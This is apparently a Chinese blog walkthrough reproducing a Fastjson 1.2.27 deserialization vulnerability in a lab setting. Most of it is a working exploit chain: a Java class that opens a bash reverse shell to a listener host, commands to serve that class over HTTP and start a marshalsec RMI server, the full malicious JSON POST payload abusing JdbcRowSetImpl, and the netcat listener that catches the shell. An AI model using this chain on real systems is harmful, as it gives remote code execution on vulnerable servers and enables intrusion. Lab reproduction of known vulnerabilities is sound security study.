Fashjson1.2.27反序列化复现

简介: Fashjson1.2.27反序列化复现

  1、首先访问一下目标网址是否正常

640.png

   2、编译java攻击载荷,此代码为反弹shell

// javac exp.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
    static {
        try {
            Runtime rt =Runtime.getRuntime();
            String[]commands = {"/bin/bash","-c","bash -i >&/dev/tcp/192.168.124.129/6666 0>&1"};
            Process pc =rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

640.png

   3、在使用远程服务器开启web服务器,使得编译的文件能够被下载。

这里使用py来开启python -mSimpleHTTPServer 8080

640.png

访问目录,发现了文件

640.png

   4、再启动rmi服务,远程加载刚才开启的web服务

这里使用了marshalsec启动一个RMI服务器,或者ladp服务器。

下载地址:https://github.com/mbechler/marshalsec

下载后切换到marshalsec目录下使用maven进行打包。

mvn cleanpackage -DskipTests

编译完成后,再进行开启:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer "http://192.168.124.133:8080/#exp" 9999

 640.png

   5、对目标站点发送payload

Payload:
POST / HTTP/1.1
Host: 192.168.124.145:8090
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 261
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"rmi://192.168.124.133:9999/exp",
        "autoCommit":true
    }
}

 640.png

在主机上进行监听6666端口,命令如下:

Nc -lvvp6666

发送payload后得到了shell

640.png



相关文章
|
3天前
|
安全 Ubuntu
反序列化漏洞演示
反序列化漏洞演示
22 2
|
8月前
|
存储 SQL 分布式计算
从源码看Velox如何做序列化
从源码角度分析Velox做序列化和反序列化的过程
734 0
|
11月前
|
算法 Java 对象存储
序列化与反序列化——作为Java开发,应该避开这些坑
阅读本文,将带你了解几个问题: 1.序列化与反序列化的概念 2.子类实现Serializable接口,父类没有实现,子类可以序列化吗? 3.类中存在引用对象,这个类对象在什么情况下可以实现序列化? 4.同一个对象多次序列化之间有属性更新,前后的序列化有什么区别?
137 0
序列化与反序列化——作为Java开发,应该避开这些坑
|
12月前
|
存储 安全 PHP
【反序列化漏洞】phar反序列化原理&实例分析
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。
192 0
|
12月前
|
负载均衡 Dubbo 安全
Dubbo反序列化漏洞复现分析
Dubbo反序列化漏洞复现分析
|
12月前
|
安全 Dubbo 应用服务中间件
Dubbo反序列化漏洞复现分析(二)
Dubbo反序列化漏洞复现分析(二)
|
12月前
|
存储 SQL 缓存
干货 | PHP反序列化原理及不同类别反序列化漏洞总结
干货 | PHP反序列化原理及不同类别反序列化漏洞总结
182 0
|
Java 文件存储 数据库
18. Java序列化与反序列化三连问:是什么?为什么要?如何做?
18. Java序列化与反序列化三连问:是什么?为什么要?如何做?
121 0
|
JSON fastjson Java
Fastjson反序列化随机性失败
Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!
272 0
Fastjson反序列化随机性失败
|
Java
JavaWeb - 一篇带你序列化 & 反序列化之性能对比分析(一)
JavaWeb - 一篇带你序列化 & 反序列化之性能对比分析(一)
173 0